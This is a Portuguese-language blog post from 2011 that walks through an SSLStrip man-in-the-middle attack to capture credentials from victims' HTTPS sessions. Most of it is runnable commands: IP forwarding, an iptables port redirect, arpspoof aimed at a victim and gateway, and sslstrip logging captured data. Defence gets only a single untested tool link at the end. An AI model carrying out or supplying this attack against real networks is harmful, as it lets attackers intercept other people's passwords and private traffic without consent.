Páginas

terça-feira, 10 de maio de 2011

SSLStrip - Capturando Dados de Conexões SSL

Um breve resumo
O danado Moxie Marlinspike, em um dia de muita luz em sua cabeça, criou um script para interceptar dados seguros transportados em sites web. Toda a interceptação funciona basicamente assim: o sslstrip realiza um "Man in the Middle", substituindo as requisições "https" do cliente por "http". Quando o cliente entra com os dados, o script loga usando https e o cliente nem se dá conta do que está ocorrendo.

Penetrando adentro
A primeira coisa a se fazer é ativar o ip_forward de sua máquina para que os pacotes sejam roteados.

# echo "1" > /proc/sys/net/ipv4/ip_forward

Agora vamos as ferramentas necessárias:
  • python >=2.5 (apt-get install python)
  • python-twisted-web (apt-get install python-twisted-web)
  • arpspoof (apt-get install dsniff)
  • sslstrip (wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.8.tar.gz)

Extraia o sslstrip em um local de sua preferência:

# tar -xzvf sslstrip-0.8.tar.gz -C /opt/

Agora precisamos redirecionar o fluxo da porta 80 para outra porta onde o sslstrip irá escuta-lo:

# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000

A porta de escuta pode ser qualquer uma que não esteja sendo usada.
Agora vamos a cereja do bolo:

# arpspoof -i eth0 -t Vitima Gateway

-i eth0: interface de rede que está a vítima e o gateway
-t Vitima: o endereço ip da vítima
Gateway: endereço ip do servidor de internet local (roteador, gateway e afins)


Neste momento, executamos o script em python:

# python /opt/sslstrip.py -w /tmp/sslstrip.log -l 10000

Agora é só aguardar que a vítima solicite uma conexão https. Para verificar em tempo real, use o comando tail no log:

$ tail -f /tmp/sslstrip.log

No youtube tem vários videos que demonstram o ataque. Selecionei um para facilitar: http://youtu.be/TJHcfs4inhs

O mais importante: como se proteger deste tipo de ataque?
Existe uma ferramenta (que eu não testei ainda) que promete diversos tipos de proteção. Segue o link abaixo:
http://sourceforge.net/projects/arpon/

Espero que tenha enriquecido a galera com mais conhecimento!
Abraços


Fontes:
segurancalinux.com
Thoughtcrime
ArpON